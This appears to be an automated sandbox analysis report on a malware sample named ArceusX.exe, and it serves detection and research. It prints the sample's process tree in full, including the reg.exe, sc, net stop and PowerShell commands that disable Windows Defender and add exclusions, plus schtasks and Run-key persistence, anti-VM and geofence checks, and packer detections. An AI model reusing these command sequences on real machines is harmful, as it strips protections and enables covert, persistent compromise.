bde88f3874e804af81f095f41330f1382c45572acef95f4eb60c81413cb28170

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Modify Existing Service

T1031

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	svchost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	ArceusX.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	svchost.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	svchost.exe

Executes dropped EXE 2 IoCs

pid	Process
3972	svchost.exe
3208	svchost.exe

Loads dropped DLL 1 IoCs

pid	Process
3972	svchost.exe

Obfuscated with Agile.Net obfuscator 6 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/files/0x0003000000000737-146.dat	agile_net
behavioral1/files/0x000500000000073f-150.dat	agile_net
behavioral1/files/0x000500000000073f-149.dat	agile_net
behavioral1/files/0x000500000000073f-151.dat	agile_net
behavioral1/memory/3972-152-0x0000000000CB0000-0x00000000013B6000-memory.dmp	agile_net
behavioral1/files/0x000500000000073f-210.dat	agile_net

Themida packer 10 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x0003000000000741-156.dat	themida
behavioral1/files/0x0003000000000741-158.dat	themida
behavioral1/memory/3972-159-0x00007FF98E820000-0x00007FF98F3A4000-memory.dmp	themida
behavioral1/memory/3972-161-0x00007FF98E820000-0x00007FF98F3A4000-memory.dmp	themida
behavioral1/memory/3972-189-0x00007FF98E820000-0x00007FF98F3A4000-memory.dmp	themida
behavioral1/memory/3972-208-0x00007FF98E820000-0x00007FF98F3A4000-memory.dmp	themida
behavioral1/memory/3972-209-0x00007FF98E820000-0x00007FF98F3A4000-memory.dmp	themida
behavioral1/files/0x0003000000000741-212.dat	themida
behavioral1/files/0x0003000000000741-211.dat	themida
behavioral1/memory/3208-213-0x00007FF98E820000-0x00007FF98F3A4000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svchost.exe"	svchost.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	svchost.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3972	svchost.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\AgileDotNet.VMRuntime.dll	ArceusX.exe
File opened for modification	C:\Windows\AgileDotNet.VMRuntime.dll	ArceusX.exe
File created	C:\Windows\Fixer.bat	ArceusX.exe
File opened for modification	C:\Windows\Fixer.bat	ArceusX.exe
File created	C:\Windows\svchost.exe	ArceusX.exe
File opened for modification	C:\Windows\svchost.exe	ArceusX.exe
File created	C:\Windows\tmp	cmd.exe
File created	C:\Windows\__tmp_rar_sfx_access_check_240551265	ArceusX.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4248	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4768	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3848	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4928	powershell.exe
4928	powershell.exe
488	powershell.exe
488	powershell.exe
2744	powershell.exe
2744	powershell.exe
3972	svchost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3972	svchost.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeDebugPrivilege	488	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	3972	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3972	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 972 wrote to memory of 4912	972	ArceusX.exe	83
PID 972 wrote to memory of 4912	972	ArceusX.exe	83
PID 972 wrote to memory of 4912	972	ArceusX.exe	83
PID 4912 wrote to memory of 4492	4912	cmd.exe	86
PID 4912 wrote to memory of 4492	4912	cmd.exe	86
PID 4912 wrote to memory of 4492	4912	cmd.exe	86
PID 4912 wrote to memory of 4316	4912	cmd.exe	87
PID 4912 wrote to memory of 4316	4912	cmd.exe	87
PID 4912 wrote to memory of 4316	4912	cmd.exe	87
PID 4912 wrote to memory of 2032	4912	cmd.exe	88
PID 4912 wrote to memory of 2032	4912	cmd.exe	88
PID 4912 wrote to memory of 2032	4912	cmd.exe	88
PID 4912 wrote to memory of 3488	4912	cmd.exe	89
PID 4912 wrote to memory of 3488	4912	cmd.exe	89
PID 4912 wrote to memory of 3488	4912	cmd.exe	89
PID 4912 wrote to memory of 1452	4912	cmd.exe	90
PID 4912 wrote to memory of 1452	4912	cmd.exe	90
PID 4912 wrote to memory of 1452	4912	cmd.exe	90
PID 4912 wrote to memory of 3316	4912	cmd.exe	91
PID 4912 wrote to memory of 3316	4912	cmd.exe	91
PID 4912 wrote to memory of 3316	4912	cmd.exe	91
PID 4912 wrote to memory of 1260	4912	cmd.exe	92
PID 4912 wrote to memory of 1260	4912	cmd.exe	92
PID 4912 wrote to memory of 1260	4912	cmd.exe	92
PID 4912 wrote to memory of 1408	4912	cmd.exe	93
PID 4912 wrote to memory of 1408	4912	cmd.exe	93
PID 4912 wrote to memory of 1408	4912	cmd.exe	93
PID 4912 wrote to memory of 1348	4912	cmd.exe	94
PID 4912 wrote to memory of 1348	4912	cmd.exe	94
PID 4912 wrote to memory of 1348	4912	cmd.exe	94
PID 4912 wrote to memory of 4768	4912	cmd.exe	95
PID 4912 wrote to memory of 4768	4912	cmd.exe	95
PID 4912 wrote to memory of 4768	4912	cmd.exe	95
PID 4912 wrote to memory of 568	4912	cmd.exe	96
PID 4912 wrote to memory of 568	4912	cmd.exe	96
PID 4912 wrote to memory of 568	4912	cmd.exe	96
PID 4912 wrote to memory of 1832	4912	cmd.exe	97
PID 4912 wrote to memory of 1832	4912	cmd.exe	97
PID 4912 wrote to memory of 1832	4912	cmd.exe	97
PID 4912 wrote to memory of 4108	4912	cmd.exe	98
PID 4912 wrote to memory of 4108	4912	cmd.exe	98
PID 4912 wrote to memory of 4108	4912	cmd.exe	98
PID 4912 wrote to memory of 3004	4912	cmd.exe	99
PID 4912 wrote to memory of 3004	4912	cmd.exe	99
PID 4912 wrote to memory of 3004	4912	cmd.exe	99
PID 4912 wrote to memory of 3672	4912	cmd.exe	100
PID 4912 wrote to memory of 3672	4912	cmd.exe	100
PID 4912 wrote to memory of 3672	4912	cmd.exe	100
PID 4912 wrote to memory of 232	4912	cmd.exe	101
PID 4912 wrote to memory of 232	4912	cmd.exe	101
PID 4912 wrote to memory of 232	4912	cmd.exe	101
PID 4912 wrote to memory of 3240	4912	cmd.exe	102
PID 4912 wrote to memory of 3240	4912	cmd.exe	102
PID 4912 wrote to memory of 3240	4912	cmd.exe	102
PID 4912 wrote to memory of 4340	4912	cmd.exe	103
PID 4912 wrote to memory of 4340	4912	cmd.exe	103
PID 4912 wrote to memory of 4340	4912	cmd.exe	103
PID 4912 wrote to memory of 1384	4912	cmd.exe	104
PID 4912 wrote to memory of 1384	4912	cmd.exe	104
PID 4912 wrote to memory of 1384	4912	cmd.exe	104
PID 4912 wrote to memory of 4364	4912	cmd.exe	105
PID 4912 wrote to memory of 4364	4912	cmd.exe	105
PID 4912 wrote to memory of 4364	4912	cmd.exe	105
PID 4912 wrote to memory of 1908	4912	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\ArceusX.exe
"C:\Users\Admin\AppData\Local\Temp\ArceusX.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:972
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Windows\Fixer.bat" "
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\SysWOW64\chcp.com
    chcp.com 437
    3⤵
    PID:4492
- - C:\Windows\SysWOW64\findstr.exe
    findstr /L /I set "C:\Windows\Fixer.bat"
    3⤵
    PID:4316
- - C:\Windows\SysWOW64\findstr.exe
    findstr /L /I goto "C:\Windows\Fixer.bat"
    3⤵
    PID:2032
- - C:\Windows\SysWOW64\findstr.exe
    findstr /L /I echo "C:\Windows\Fixer.bat"
    3⤵
    PID:3488
- - C:\Windows\SysWOW64\findstr.exe
    findstr /L /I pause "C:\Windows\Fixer.bat"
    3⤵
    PID:1452
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c type tmp
    3⤵
    PID:3316
- - C:\Windows\SysWOW64\find.exe
    find
    3⤵
    PID:1260
- - C:\Windows\SysWOW64\find.exe
    fINd
    3⤵
    PID:1408
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c type tmp
    3⤵
    PID:1348
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    PID:4768
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    PID:568
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    PID:1832
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    PID:4108
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3004
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3672
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:232
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3240
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4340
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    PID:4364
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    PID:1908
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
    3⤵
    PID:4792
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:1920
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    PID:3368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:4652
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:1072
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
    3⤵
    PID:4272
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
    3⤵
    PID:3920
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
    3⤵
    PID:4488
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:3536
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4052
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    PID:4536
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:432
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1476
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3664
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4392
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    PID:3432
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4980
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\Sense" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4064
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    PID:4192
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:4236
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:3792
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4248
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3972
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:488
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2744
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
      4⤵
      Creates scheduled task(s)
      PID:4768
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3848

C:\Users\Admin\AppData\Local\Temp\svchost.exe
C:\Users\Admin\AppData\Local\Temp\svchost.exe
1⤵
- Executes dropped EXE
PID:3208

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

System Information Discovery